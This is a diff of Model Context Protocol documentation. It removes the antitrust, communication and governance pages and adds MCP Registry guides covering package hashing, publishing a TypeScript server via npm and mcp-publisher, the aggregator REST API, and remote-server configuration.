or in the name of the repository. -Participants in and contributors to the Project (collectively, "participants") will use their best reasonable efforts to comply in all respects with all applicable state and federal antitrust and trade regulation laws, and applicable antitrust/competition laws of other countries (collectively, the "Antitrust Laws"). +The package metadata in `server.json` **MUST** include a `fileSha256` property with a SHA-256 hash of the MCPB artifact, which can be computed using the `openssl` command: -The goal of Antitrust Laws is to encourage vigorous competition. Nothing in this Policy prohibits or limits the ability of participants to make, sell or use any product, or otherwise to compete in the marketplace. This Policy provides general guidance on compliance with Antitrust Law. Participants should contact their respective legal counsel to address specific questions. +```bash theme={null} +openssl dgst -sha256 image-processor.mcpb +``` -This Policy is conservative and is intended to promote compliance with the Antitrust Laws, not to create duties or obligations beyond what the Antitrust Laws actually require. In the event of any inconsistency between this Policy and the Antitrust Laws, the Antitrust Laws preempt and control. +The MCP Registry does not validate this hash; however, MCP clients **do** validate the hash before installation to ensure file integrity. Downstream registries may also implement their own validation. -## Participation -Technical participation in the Project shall be open to all, subject only to compliance with the provisions of the Project's charter and other governance documents. +# Quickstart: Publish an MCP Server to the MCP Registry +Source: https://modelcontextprotocol.io/registry/quickstart -## Conduct of Meetings -At meetings among actual or potential competitors, there is a risk that participants in those meetings may improperly disclose or discuss information in violation of the Antitrust Laws or otherwise act in an anti-competitive manner. To avoid this risk, participants must adhere to the following policies when participating in Project-related or sponsored meetings, conference calls, or other forums (collectively, "Project Meetings"). -Participants must not, in fact or appearance, discuss or exchange information regarding: + + The MCP Registry is currently in preview. Breaking changes or data resets may occur before general availability. If you encounter any issues, please report them on [GitHub](https://github.com/modelcontextprotocol/registry/issues). + -* An individual company's current or projected prices, price changes, price differentials, markups, discounts, allowances, terms and conditions of sale, including credit terms, etc., or data that bear on prices, including profits, margins or cost. -* Industry-wide pricing policies, price levels, price changes, differentials, or the like. -* Actual or projected changes in industry production, capacity or inventories. -* Matters relating to bids or intentions to bid for particular products, procedures for responding to bid invitations or specific contractual arrangements. -* Plans of individual companies concerning the design, characteristics, production, distribution, marketing or introduction dates of particular products, including proposed territories or customers. -* Matters relating to actual or potential individual suppliers that might have the effect of excluding them from any market or of influencing the business conduct of firms toward such suppliers. -* Matters relating to actual or potential customers that might have the effect of influencing the business conduct of firms toward such customers. -* Individual company current or projected cost of procurement, development or manufacture of any product. -* Individual company market shares for any product or for all products. -* Confidential or otherwise sensitive business plans or strategy. +This tutorial will show you how to publish an MCP server written in TypeScript to the MCP Registry using the official `mcp-publisher` CLI tool. -In connection with all Project Meetings, participants must do the following: +## Prerequisites -* Adhere to prepared agendas. -* Insist that meeting minutes be prepared and distributed to all participants, and that meeting minutes accurately reflect the matters that transpired. -* Consult with their respective counsel on all antitrust questions related to Project Meetings. -* Protest against any discussions that appear to violate these policies or the Antitrust Laws, leave any meeting in which such discussions continue, and either insist that such protest be noted in the minutes. +* **Node.js** — This tutorial assumes the MCP server is written in TypeScript. +* **npm account** — The MCP Registry only hosts metadata, not artifacts. Before publishing to the MCP Registry, we will publish the MCP server's package to npm, so you will need an [npm](https://www.npmjs.com) account. +* **GitHub account** — The MCP Registry supports [multiple authentication methods](./authentication). For simplicity, this tutorial will use GitHub-based authentication, so you will need a [GitHub](https://github.com/) account. -## Requirements/Standard Setting +If you do not have an MCP server written in TypeScript, you can copy the `weather-server-typescript` server from the [`modelcontextprotocol/quickstart-resources` repository](https://github.com/modelcontextprotocol/quickstart-resources) to follow along with this tutorial: -The Project may establish standards, technical requirements and/or specifications for use (collectively, "requirements"). Participants shall not enter into agreements that prohibit or restrict any participant from establishing or adopting any other requirements. Participants shall not undertake any efforts, directly or indirectly, to prevent any firm from manufacturing, selling, or supplying any product not conforming to a requirement. +```bash theme={null} +git clone --depth 1 git@github.com:modelcontextprotocol/quickstart-resources.git +cp -r quickstart-resources/weather-server-typescript . +rm -rf quickstart-resources +cd weather-server-typescript +``` -The Project shall not promote standardization of commercial terms, such as terms for license and sale. +And edit `package.json` to reflect your information: -## Contact Information +```diff package.json theme={null} + { +- "name": "mcp-quickstart-ts", +- "version": "1.0.0", ++ "name": "@my-username/mcp-weather-server", ++ "version": "1.0.1", + "main": "index.js", +``` -To contact the Project regarding matters addressed by this Antitrust Policy, please send an email to [antitrust@modelcontextprotocol.io](mailto:antitrust@modelcontextprotocol.io), and reference "Antitrust Policy" in the subject line. +```diff package.json theme={null} + "license": "ISC", +- "description": "", ++ "repository": { ++ "type": "git", ++ "url": "https://github.com/my-username/mcp-weather-server.git" ++ }, ++ "description": "An MCP server for weather information.", + "devDependencies": { +``` +## Step 1: Add verification information to the package -# Contributor Communication -Source: https://modelcontextprotocol.io/community/communication +The MCP Registry verifies that a server's underlying package matches its metadata. For npm packages, this requires adding an `mcpName` property to `package.json`: -Communication strategy and framework for the Model Context Protocol community +```diff package.json theme={null} + { + "name": "@my-username/mcp-weather-server", + "version": "1.0.1", ++ "mcpName": "io.github.my-username/weather", + "main": "index.js", +``` -This document explains how to communicate and collaborate within the Model Context Protocol (MCP) project. +The value of `mcpName` will be your server's name in the MCP Registry. -## Communication Channels +Because we will be using GitHub-based authentication, `mcpName` **must** start with `io.github.my-username/`. -In short: +## Step 2: Publish the package -* **[Discord][discord-join]**: For real-time or ad-hoc discussions. -* **[GitHub Discussions](https://github.com/modelcontextprotocol/modelcontextprotocol/discussions)**: For structured, longer-form discussions. -* **[GitHub Issues](https://github.com/modelcontextprotocol/modelcontextprotocol/issues)**: For actionable tasks, bug reports, and feature requests. -* **For security-sensitive issues**: Follow the process in [SECURITY.md](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/SECURITY.md). +The MCP Registry only hosts metadata, not artifacts, so we must publish the package to npm before publishing the server to the MCP Registry. -All communication is governed by our [Code of Conduct](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/CODE_OF_CONDUCT.md). We expect all participants to maintain respectful, professional, and inclusive interactions across all channels. +Ensure the distribution files are built: -### Discord +```bash theme={null} +# Navigate to project directory +cd weather-server-typescript -For real-time contributor discussion and collaboration. The server is designed around **MCP contributors** and is not intended -to be a place for general MCP support. +# Install dependencies +npm install -The Discord server will have both public and private channels. +# Build the distribution files +npm run build +``` -[Join the Discord server here][discord-join]. +Then follow npm's [publishing guide](https://docs.npmjs.com/creating-and-publishing-scoped-public-packages). In particular, you will probably need to run the following commands: -#### Public Channels (Default) +```bash theme={null} +# If necessary, authenticate to npm +npm adduser -* **Purpose**: Open community engagement, collaborative development, and transparent project coordination. -* Primary use cases: - * **Public SDK and tooling development**: All development, from ideation to release planning, happens in public channels (e.g., `#typescript-sdk-dev`, `#inspector-dev`). - * **[Working and Interest Group](/community/working-interest-groups) discussions** - * **Community onboarding** and contribution guidance. - * **Community feedback** and collaborative brainstorming. - * Public **office hours** and **maintainer availability**. -* Avoid: - * MCP user support: participants are expected to read official documentation and start new GitHub Discussions for questions or support. - * Service or product marketing: interactions on this Discord are expected to be vendor-neutral and not used for brand-building or sales. Mentions of brands or products are discouraged outside of being used as examples or responses to conversations that start off focused on the specification. +# Publish the package +npm publish --access public +``` -#### Private Channels (Exceptions) +You can verify your package is published by visiting its npm URL, such as [https://www.npmjs.com/package/@my-username/mcp-weather-server](https://www.npmjs.com/package/@my-username/mcp-weather-server). -* **Purpose**: Confidential coordination and sensitive matters that cannot be discussed publicly. Access will be restricted to designated maintainers. -* **Strict criteria for private use**: - * **Security incidents** (CVEs, protocol vulnerabilities). - * **People matters** (maintainer-related discussions, code of conduct policies). - * Select channels will be configured to be **read-only**. This can be useful for maintainer decision-making, for example. - * Coordination requiring **immediate** or otherwise **focused response** with a limited audience. -* **Transparency**: - * **All technical and governance decisions** affecting the community **must be documented** in GitHub Discussions and/or Issues, and will be labeled with `notes`. - * **Some matters related to individual contributors** may remain private when appropriate (e.g., personal circumstances, disciplinary actions, or other sensitive individual matters). - * Private channels are to be used as **temporary "incident rooms,"** not for routine development. +## Step 3: Install `mcp-publisher` -Any significant discussion on Discord that leads to a potential decision or proposal must be moved to a GitHub Discussion or GitHub Issue to create a persistent, searchable record. Proposals will then be promoted to full-fledged PRs with associated work items (GitHub Issues) as needed. +Install the `mcp-publisher` CLI tool using a pre-built binary or [Homebrew](https://brew.sh): -### GitHub Discussions + + ```bash macOS/Linux theme={null} + curl -L "https://github.com/modelcontextprotocol/registry/releases/latest/download/mcp-publisher_$(uname -s | tr '[:upper:]' '[:lower:]')_$(uname -m | sed 's/x86_64/amd64/;s/aarch64/arm64/').tar.gz" | tar xz mcp-publisher && sudo mv mcp-publisher /usr/local/bin/ + ``` -For structured, long-form discussion and debate on project direction, features, improvements, and community topics. + ```powershell Windows theme={null} + $arch = if ([System.Runtime.InteropServices.RuntimeInformation]::ProcessArchitecture -eq "Arm64") { "arm64" } else { "amd64" }; Invoke-WebRequest -Uri "https://github.com/modelcontextprotocol/registry/releases/latest/download/mcp-publisher_windows_$arch.tar.gz" -OutFile "mcp-publisher.tar.gz"; tar xf mcp-publisher.tar.gz mcp-publisher.exe; rm mcp-publisher.tar.gz + # Move mcp-publisher.exe to a directory in your PATH + ``` -When to use: + ```bash theme={null} + brew install mcp-publisher + ``` + -* Project roadmap planning and milestone discussions -* Announcements and release communications -* Community polls and consensus-building processes -* Feature requests with context and rationale - * If a particular repository does not have GitHub Discussions enabled, feel free to open a GitHub Issue instead. +Verify that `mcp-publisher` is correctly installed by running: -### GitHub Issues +```bash theme={null} +mcp-publisher --help +``` -For bug reports, feature tracking, and actionable development tasks. +You should see output like: -When to use: +```text Output theme={null} +MCP Registry Publisher Tool -* Bug reports with reproducible steps -* Documentation improvements with specific scope -* CI/CD problems and infrastructure issues -* Release tasks and milestone tracking +Usage: + mcp-publisher [arguments] -**Note**: SEP proposals are submitted as pull requests to the [`seps/` directory](https://github.com/modelcontextprotocol/specification/tree/main/seps), not as GitHub Issues. See the [SEP guidelines](./sep-guidelines) for details. +Commands: + init Create a server.json file template + login Authenticate with the registry + logout Clear saved authentication + publish Publish server.json to the registry +``` -### Security Issues +## Step 4: Create `server.json` -**Do not post security issues publicly.** Instead: +The `mcp-publisher init` command can generate a `server.json` template file with some information derived from your project. -1. Use the private security reporting process. For protocol-level security issues, follow the process in [SECURITY.md in the modelcontextprotocol GitHub repository](https://github.com/modelcontextprotocol/modelcontextprotocol/blob/main/SECURITY.md). -2. Contact lead and/or [core maintainers](./governance#current-core-maintainers) directly. -3. Follow responsible disclosure guidelines. +In your server project directory, run `mcp-publisher init`: -## Decision Records +```bash theme={null} +mcp-publisher init +``` -All MCP decisions are documented and captured in public channels. +Open the generated `server.json` file, and you should see contents like: -* **Technical decisions**: [GitHub Issues](https://github.com/modelcontextprotocol/modelcontextprotocol/issues) and [SEPs](https://github.com/modelcontextprotocol/specification/tree/main/seps). -* **Specification changes**: [On the Model Context Protocol website](https://modelcontextprotocol.io/specification/draft/changelog). -* **Process changes**: [Community documentation](https://modelcontextprotocol.io/community/governance). -* **Governance decisions and updates**: [GitHub Issues](https://github.com/modelcontextprotocol/modelcontextprotocol/issues) and [SEPs](https://github.com/modelcontextprotocol/specification/tree/main/seps). +```json server.json theme={null} +{ + "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", + "name": "io.github.my-username/weather", + "description": "An MCP server for weather information.", + "repository": { + "url": "https://github.com/my-username/mcp-weather-server", + "source": "github" + }, + "version": "1.0.0", + "packages": [ + { + "registryType": "npm", + "identifier": "@my-username/mcp-weather-server", + "version": "1.0.0", + "transport": { + "type": "stdio" + }, + "environmentVariables": [ + { + "description": "Your API key for the service", + "isRequired": true, + "format": "string", + "isSecret": true, + "name": "YOUR_API_KEY" + } + ] + } + ] +} +``` -When documenting decisions, we will retain as much context as possible: +Edit the contents as necessary: -* Decision makers -* Background context and motivation -* Options that were considered -* Rationale for the chosen approach -* Implementation steps +```diff server.json theme={null} + { + "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", + "name": "io.github.my-username/weather", + "description": "An MCP server for weather information.", + "repository": { + "url": "https://github.com/my-username/mcp-weather-server", + "source": "github" + }, +- "version": "1.0.0", ++ "version": "1.0.1", + "packages": [ + { + "registryType": "npm", + "identifier": "@my-username/mcp-weather-server", +- "version": "1.0.0", ++ "version": "1.0.1", + "transport": { + "type": "stdio" +- }, +- "environmentVariables": [ +- { +- "description": "Your API key for the service", +- "isRequired": true, +- "format": "string", +- "isSecret": true, +- "name": "YOUR_API_KEY" +- } +- ] ++ } + } + ] + } +``` -[discord-join]: https://discord.gg/6CSzBmMkjX +The `name` property in `server.json` **must** match the `mcpName` property in `package.json`. +## Step 5: Authenticate with the MCP Registry -# Governance and Stewardship -Source: https://modelcontextprotocol.io/community/governance +For this tutorial, we will authenticate with the MCP Registry using GitHub-based authentication. -Learn about the Model Context Protocol's governance structure and how to participate in the community +Run the `mcp-publisher login` command to initiate authentication: -The Model Context Protocol (MCP) follows a formal governance model to ensure transparent decision-making and community participation. This document outlines how the project is organized and how decisions are made. +```bash theme={null} +mcp-publisher login github +``` -## General Project Policies +You should see output like: -Model Context Protocol has been established as **Model Context Protocol a Series of LF Projects, LLC**. Policies applicable to Model Context Protocol and participants in Model Context Protocol, including guidelines on the usage of trademarks, are located at [https://www.lfprojects.org/policies/](https://www.lfprojects.org/policies/). Governance changes approved as per the provisions of this governance document must also be approved by LF Projects, LLC. +```text Output theme={null} +Logging in with github... -Model Context Protocol participants acknowledge that the copyright in all new contributions will be retained by the copyright holder as independent works of authorship and that no contributor or copyright holder will be required to assign copyrights to the project. +To authenticate, please: +1. Go to: https://github.com/login/device +2. Enter code: ABCD-1234 +3. Authorize this application +Waiting for authorization... +``` -Except as described below, all code and specification contributions to the project must be made using the Apache License, Version 2.0 (available here: [https://www.apache.org/licenses/LICENSE-2.0](https://www.apache.org/licenses/LICENSE-2.0)) (the "Project License"). +Visit the link, follow the prompts, and enter the authorization code that was printed in the terminal (e.g., `ABCD-1234` in the above output). Once complete, go back to the terminal, and you should see output like: -All outbound code and specifications will be made available under the Project License. The Core Maintainers may approve the use of an alternative open license or licenses for inbound or outbound contributions on an exception basis. +```text Output theme={null} +Successfully authenticated! +✓ Successfully logged in +``` -All documentation (excluding specifications) will be made available under Creative Commons Attribution 4.0 International license, available at: [https://creativecommons.org/licenses/by/4.0](https://creativecommons.org/licenses/by/4.0). +## Step 6: Publish to the MCP Registry -## Technical Governance +Finally, publish your server to the MCP Registry using the `mcp-publisher publish` command: -The MCP project adopts a hierarchical structure, similar to Python, PyTorch and other open source projects: +```bash theme={null} +mcp-publisher publish +``` -* A community of **contributors** who file issues, make pull requests, and contribute to the project. -* A small set of **maintainers** drive components within the MCP project, such as SDKs, documentation, and others. -* Contributors and maintainers are overseen by **core maintainers**, who drive the overall project direction. -* The core maintainers have two **lead core maintainers** who are the catch-all decision makers. -* Maintainers, core maintainers, and lead core maintainers form the **MCP steering group**. +You should see output like: -All maintainers are expected to have a strong bias towards MCP's design philosophy. Membership in the technical governance process is for individuals, not companies. That is, there are no seats reserved for specific companies, and membership is associated with the person rather than the company employing that person. This ensures that maintainers act in the best interests of the protocol itself and the open source community. +```text Output theme={null} +Publishing to https://registry.modelcontextprotocol.io... +✓ Successfully published +✓ Server io.github.my-username/weather version 1.0.1 +``` -### Channels +You can verify that your server is published by searching for it using the MCP Registry API: -Technical Governance is facilitated through a shared [Discord server](/community/communication#discord) of all **maintainers, core maintainers** and **lead maintainers**. Each maintainer group can choose additional communication channels, but all decisions and their supporting discussions must be recorded and made transparently available on the Discord server. +```bash theme={null} +curl "https://registry.modelcontextprotocol.io/v0.1/servers?search=io.github.my-username/weather" +``` -### Maintainers +You should see your server's metadata in the search results JSON: -Maintainers are responsible for [Working or Interest Groups](/community/working-interest-groups) within the MCP project. These generally are independent repositories such as language-specific SDKs, but can also extend to subdirectories of a repository, such as the MCP documentation. Maintainers may adopt their own rules and procedures for making decisions. Maintainers are expected to make decisions for their respective projects independently, but can defer or escalate to the core maintainers when needed. +```text Output theme={null} +{"servers":[{ ... "name":"io.github.my-username/weather" ... }]} +``` -Maintainers are responsible for the: +## Troubleshooting -* Thoughtful and productive engagement with community contributors, -* Maintaining and improving their respective area of the MCP project, -* Supporting documentation, roadmaps and other adjacent parts of the MCP project, -* Presenting ideas from community to core. +| Error Message | Action | +| --------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------- | +| "Registry validation failed for package" | Ensure your package includes the required validation information (e.g, `mcpName` property in `package.json`). | +| "Invalid or expired Registry JWT token" | Re-authenticate by running `mcp-publisher login github`. | +| "You do not have permission to publish this server" | Your authentication method doesn't match your server's namespace format. With GitHub auth, your server name must start with `io.github.your-username/`. | -Maintainers are encouraged to propose additional maintainers when needed. Maintainers can only be appointed and removed by core maintainers or lead core maintainers at any time and without reason. +## Next Steps -Maintainers have write and/or admin access to their respective repositories. +* Learn about [support for other package types](./package-types). +* Learn about [support for remote servers](./remote-servers). +* Learn how to [use other authentication methods](./authentication), such as [DNS authentication](./authentication#dns-authentication) which enables custom domains for server name prefixes. +* Learn how to [automate publishing with GitHub Actions](./github-actions). -### Core Maintainers -The core maintainers are expected to have a deep understanding of the Model Context Protocol and its specification. Their responsibilities include: +# MCP Registry Aggregators +Source: https://modelcontextprotocol.io/registry/registry-aggregators -* Designing, reviewing and steering the evolution of the MCP specification, as well as all other parts of the MCP project, such as documentation, -* Articulating a cohesive long-term vision for the project, -* Mediating and resolving contentious issues with fairness and transparency, seeking consensus where possible while making decisive choices when necessary, -* Appointing or removing maintainers, -* Stewardship of the MCP project in the best interest of MCP. -The core maintainers as a group have the power to veto any decisions made by maintainers by majority vote. The core maintainers have power to resolve disputes as they see fit. The core maintainers should publicly articulate their decision-making. The core group is responsible for adopting their own procedures for making decisions. -Core maintainers generally have write and admin access to all MCP repositories, but should use the same contribution (usually pull-requests) mechanism as outside contributors. Exceptions can be made based on security considerations. + + The MCP Registry is currently in preview. Breaking changes or data resets may occur before general availability. If you encounter any issues, please report them on [GitHub](https://github.com/modelcontextprotocol/registry/issues). + -### Lead Maintainers (BDFL) +Aggregators are downstream consumers of the MCP Registry that provide additional value. For example, a server marketplace that provides user ratings and security scanning. -MCP has two lead maintainers: Justin Spahr-Summers and David Soria Parra. Lead Maintainers can veto any decision by core maintainers or maintainers. This model is also commonly known as Benevolent Dictator for Life (BDFL) in the open source community. The Lead Maintainers should publicly articulate their decision-making and give clear reasoning for their decisions. Lead maintainers are part of the core maintainer group. +The MCP Registry provides an unauthenticated read-only REST API that aggregators can use to populate their data stores. Aggregators are expected to scrape data on a regular but infrequent basis (e.g., once per hour), and persist the data in their own data store. The MCP Registry **does not provide uptime or data durability guarantees**. -The Lead Maintainers are responsible for confirming or removing core maintainers. +## Consuming the MCP Registry REST API -Lead Maintainers are administrators on all infrastructure for the MCP project where possible. This includes but is not restricted to all communication channels, GitHub organizations and repositories. +The base URL for the MCP Registry REST API is `https://registry.modelcontextprotocol.io`. It supports the following endpoints: -### Decision Process +* [`GET /v0.1/servers`](https://registry.modelcontextprotocol.io/docs#/operations/list-servers-v0.1) — List all servers. +* [`GET /v0.1/servers/{serverName}/versions`](https://registry.modelcontextprotocol.io/docs#/operations/get-server-versions-v0.1) — List all versions of a server. +* [`GET /v0.1/servers/{serverName}/versions/{version}`](https://registry.modelcontextprotocol.io/docs#/operations/get-server-version-v0.1) — Get a specific version of a server. Use the special version `latest` to get the latest version of the server. -The core maintainer group meets every two weeks to discuss and vote on proposals, as well as discuss any topics needed. The shared Discord server can be used to discuss and vote on smaller proposals if needed. + + URL path parameters such as `serverName` and `version` **must** be URL-encoded. For example, `io.modelcontextprotocol/everything` must be encoded as `io.modelcontextprotocol%2Feverything`. + -The lead maintainer, core maintainer, and maintainer group should attempt to meet in person every three to six months. +Aggregators will most likely scrape the `GET /v0.1/servers` endpoint. -## Processes +### Pagination -Core and lead maintainers are responsible for all aspects of Model Context Protocol, including documentation, issues, suggestions for content, and all other parts under the [MCP project](https://github.com/modelcontextprotocol). Maintainers are responsible for documentation, issues, and suggestions of content for their area of the MCP project, but are encouraged to partake in general maintenance of the MCP projects. Maintainers, core maintainers, and lead maintainers should use the same contribution process as external contributors, rather than making direct changes to repos. This provides insight into intent and opportunity for discussion. +The `GET /v0.1/servers` endpoint supports cursor-based pagination. -### Working and Interest Groups +For example, the first page can be fetched using a `limit` query parameter: -MCP collaboration and contributions are organized around two structures: [Working Groups and Interest Groups](/community/working-interest-groups). +```bash theme={null} +curl "https://registry.modelcontextprotocol.io/v0.1/servers?limit=100" +``` -Interest Groups are responsible for identifying and articulating problems that MCP should address, primarily by facilitating open discussions within the community. In contrast, Working Groups focus on developing concrete solutions by collaboratively producing deliverables, such as SEPs or community-owned implementations of the specification. While input from Interest Groups can help justify the formation of a Working Group, it is not a strict requirement. Similarly, contributions from either Interest Groups or Working Groups are encouraged, but not mandatory, when submitting SEPs or other community proposals. +```jsonc Output highlight={5} theme={null} +{ + "servers": [ + /* ... */ + ], + "metadata": { + "count": 100, + "nextCursor": "com.example/my-server:1.0.0", + }, +} +``` -We strongly encourage all contributors interested in working on a specific SEP to first collaborate within an Interest Group. This collaborative process helps ensure that the proposed SEP aligns with protocol needs and is the right direction for its adopters. +Then subsequent pages can be fetched by passing the `nextCursor` value as the `cursor` query parameter: -#### Governance Principles +```bash theme={null} +curl "https://registry.modelcontextprotocol.io/v0.1/servers?limit=100&cursor=com.example/my-server:1.0.0" +``` -All groups are self-governed while adhering to these core principles: +### Filtering Since -1. Clear contribution and decision-making processes -2. Open communication and transparent decisions +The `GET /v0.1/servers` endpoint supports filtering servers that have been updated since a given timestamp. -Both must: +For example, servers that have been updated since 2025-10-23 can be fetched using an `updated_since` query parameter in [RFC 3339](https://datatracker.ietf.org/doc/html/rfc3339) date-time format: -* Document their contribution process -* Maintain transparent communication -* Make decisions publicly (groups must publish meeting notes and proposals) +```bash theme={null} +curl "https://registry.modelcontextprotocol.io/v0.1/servers?updated_since=2025-10-23T00:00:00.000Z" +``` -Projects and working groups without specified processes default to: +## Server Status -* GitHub pull requests and issues for contributions -* A public channel in the official [MCP Contributor Discord](/community/communication#discord) +Server metadata is generally immutable, except for the `status` field which may be updated to, e.g., `"deprecated"` or `"deleted"`. We recommend that aggregators keep their copy of each server's `status` up to date. -#### Maintenance Responsibilities +The `"deleted"` status typically indicates that a server has violated our permissive [moderation policy](./moderation-policy), suggesting the server might be spam, malware, or illegal. Aggregators may prefer to remove these servers from their index. -Components without dedicated maintainers (such as documentation) fall under core maintainer responsibility. These follow standard contribution guidelines through pull requests, with maintainers handling reviews and escalating to core maintainer review for any significant changes. +## Acting as a Subregistry -Core maintainers and maintainers are encouraged to improve any part of the MCP project, regardless of formal maintenance assignments. +A subregistry is an aggregator that also implements the [OpenAPI spec](https://github.com/modelcontextprotocol/registry/blob/main/docs/reference/api/openapi.yaml) defined by the MCP Registry. This allows clients, such as MCP host applications, to consume server metadata via a standardized interface. -### Specification Project +The subregistry OpenAPI spec allows subregistries to inject custom metadata via the `_meta` field. For example, a subregistry could inject user ratings, download counts, and security scan results: -#### Specification Enhancement Proposal (SEP) +```json server.json highlight={17-26} theme={null} +{ + "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", + "name": "io.github.username/email-integration-mcp", + "title": "Email Integration", + "description": "Send emails and manage email accounts", + "version": "1.0.0", + "packages": [ + { + "registryType": "npm", + "identifier": "@username/email-integration-mcp", + "version": "1.0.0", + "transport": { + "type": "stdio" + } + } + ], + "_meta": { + "com.example.subregistry/custom": { + "user_rating": 4.5, + "download_count": 12345, + "security_scan": { + "last_scanned": "2025-10-23T12:00:00Z", + "vulnerabilities_found": 0 + } + } + } +} +``` -Proposed changes to the specification must come in the form of a written version, starting with a summary of the proposal, outlining the **problem** it tries to solve, propose **solution**, **alternatives**, **considerations, outcomes** and **risks**. The [SEP Guidelines](/community/sep-guidelines) outline information on the expected structure of SEPs. SEPs are submitted as pull requests to the [`seps/` directory](https://github.com/modelcontextprotocol/specification/tree/main/seps) in the specification repository. +We recommend that custom metadata be put under a key that reflects the subregistry (e.g., `"com.example.subregistry/custom"` in the above example). -All proposals must have a **sponsor** from the MCP steering group (maintainer, core maintainer or lead core maintainer). The sponsor is responsible for ensuring that the proposal is actively developed, meets the quality standard for proposals, **updating the SEP status** in the markdown file, and presenting and discussing it in meetings of core maintainers. Maintainer and Core Maintainer groups should review open proposals without sponsors at regular intervals. Proposals that do not find a sponsor within six months are automatically rejected. -Once proposals have a sponsor, the sponsor assigns themselves to the PR and updates the SEP status to `draft`. +# Publishing Remote Servers +Source: https://modelcontextprotocol.io/registry/remote-servers -## Communication -### Core Maintainer Meetings -The core maintainer group meets on a bi-weekly basis to discuss proposals and the project. Notes on proposals should be made public. The core maintainer group will strive to meet in person every 3-6 months. + + The MCP Registry is currently in preview. Breaking changes or data resets may occur before general availability. If you encounter any issues, please report them on [GitHub](https://github.com/modelcontextprotocol/registry/issues). + -### Public Chat +The MCP Registry supports remote MCP servers via the `remotes` property in `server.json`: -The MCP project maintains a [public Discord server](/community/communication#discord) with open chats for interest groups. The MCP project may have private channels for certain communications. +```json server.json highlight={7-12} theme={null} +{ + "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", + "name": "com.example/acme-analytics", + "title": "ACME Analytics", + "description": "Real-time business intelligence and reporting platform", + "version": "2.0.0", + "remotes": [ + { + "type": "streamable-http", + "url": "https://analytics.example.com/mcp" + } + ] +} +``` -## Nominating, Confirming and Removing Maintainers +A remote server **MUST** be publicly accessible at its specified URL. -### The Principles +## Transport Type -* Membership in module maintainer groups is given to **individuals** on merit basis after they demonstrated strong expertise of their area of work through contributions, reviews, and discussions and are aligned with the overall MCP direction. -* For membership in the **maintainer** group the individual has to demonstrate strong and continued alignment with the overall MCP principles. -* No term limits for module maintainers or core maintainers -* Light criteria of moving working-group or sub-project maintenance to 'emeritus' status if they don't actively participate over long periods of time. Each maintainer group may define the inactive period that's appropriate for their area. -* The membership is for an individual, not a company. +Remote servers can use the Streamable HTTP transport (recommended) or the SSE transport. Remote servers can also support both transports simultaneously at different URLs. -### Nomination and Removal +Specify the transport by setting the `type` property of the `remotes` entry to either `"streamable-http"` or `"sse"`: -* The lead maintainers are responsible for adding and removing core maintainers. -* Core maintainers are responsible for adding and removing maintainers. They will take the consideration of existing maintainers into account. -* If a Working or Interest Group with 2+ existing maintainers unanimously agrees to add additional maintainers (up to a maximum of 5), they may do so without core maintainer review. +```json server.json highlight={9,13} theme={null} +{ + "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", + "name": "com.example/acme-analytics", + "title": "ACME Analytics", + "description": "Real-time business intelligence and reporting platform", + "version": "2.0.0", + "remotes": [ + { + "type": "streamable-http", + "url": "https://analytics.example.com/mcp" + }, + { + "type": "sse", + "url": "https://analytics.example.com/sse" + } + ] +} +``` -#### Nomination Process +## URL Template Variables -If a Maintainer (or Core / Lead Maintainer) wishes to propose a nomination for the Core / Lead Maintainers’ consideration, they should follow the following process: +Remote servers can define URL template variables using `{curly_braces}` notation. This enables multi-tenant deployments where a single server definition can support multiple endpoints with configurable values: -1. Collect evidence for the nomination. This will generally come in the form of a history of merged PRs on the repositories for which maintainership is being considered. -2. Discuss among maintainers of the relevant group(s) as to whether they would be supportive of approving the nomination. -3. DM a Community Moderator or Core Maintainer to create a private channel in Discord, in the format `nomination-{name}-{group}`. Add all core maintainers, lead maintainers, and co-maintainers on the relevant group. -4. Provide context for the individual under nomination. See below for suggestions on what to include here. -5. Create a Discord Poll and ask Core / Lead Maintainers to vote Yes / No on the nomination. Reaching consensus is encouraged though not required. -6. After Core / Lead Maintainers discuss and/or vote, if the nomination is favorable, relevant members with permissions to update GitHub and Discord roles will add the nominee to the appropriate groups. The nominator should announce the new maintainership in the relevant Discord channel. -7. The temporary Discord channel will be deleted a week later. +```json server.json highlight={10-17} theme={null} +{ + "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", + "name": "com.example/acme-analytics", + "title": "ACME Analytics", + "description": "Real-time business intelligence and reporting platform", + "version": "2.0.0", + "remotes": [ + { + "type": "streamable-http", + "url": "https://{tenant_id}.analytics.example.com/mcp", + "variables": { + "tenant_id": { + "description": "Your tenant identifier (e.g., 'us-cell1', 'emea-cell1')", + "isRequired": true + } + } + } + ] +} +``` -Suggestions for the kind of information to share with core maintainers when nominating someone: +When configuring this server, users provide their `tenant_id` value, and the URL template gets resolved to the appropriate endpoint (e.g., `https://us-cell1.analytics.example.com/mcp`). -* GitHub profile link, LinkedIn profile link, Discord username -* For what group(s) are you nominating the individual for maintainership -* Whether the group(s) agree that this person should be elevated to maintainership -* Description of their contributions to date (including links to most substantial contributions) -* Description of expected contributions moving forward (e.g. Are they eager to be a maintainer? Will they have capacity to do so?) -* Other context about the individual (e.g. current employer, motivations behind MCP involvement) -* Anything else you think may be relevant to consider for the nomination +Variables support additional properties like `default`, `choices`, and `isSecret`: -## Current Core Maintainers +```json server.json highlight={12-22} theme={null} +{ + "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", + "name": "com.example/multi-region-mcp", + "title": "Multi-Region MCP", + "description": "MCP server with regional endpoints", + "version": "1.0.0", + "remotes": [ + { + "type": "streamable-http", + "url": "https://api.example.com/{region}/mcp", + "variables": { + "region": { + "description": "Deployment region", + "isRequired": true, + "choices": [ + "us-east-1", + "eu-west-1", + "ap-southeast-1" + ], + "default": "us-east-1" + } + } + } + ] +} +``` -* Peter Alexander -* Caitie McCaffrey -* Kurtis Van Gent -* Paul Carleton -* Nick Cooper -* Nick Aldridge -* Che Liu -* Den Delimarsky +## HTTP Headers -## Current Maintainers and Working Groups +MCP clients can be instructed to send specific HTTP headers by adding the `headers` property to the 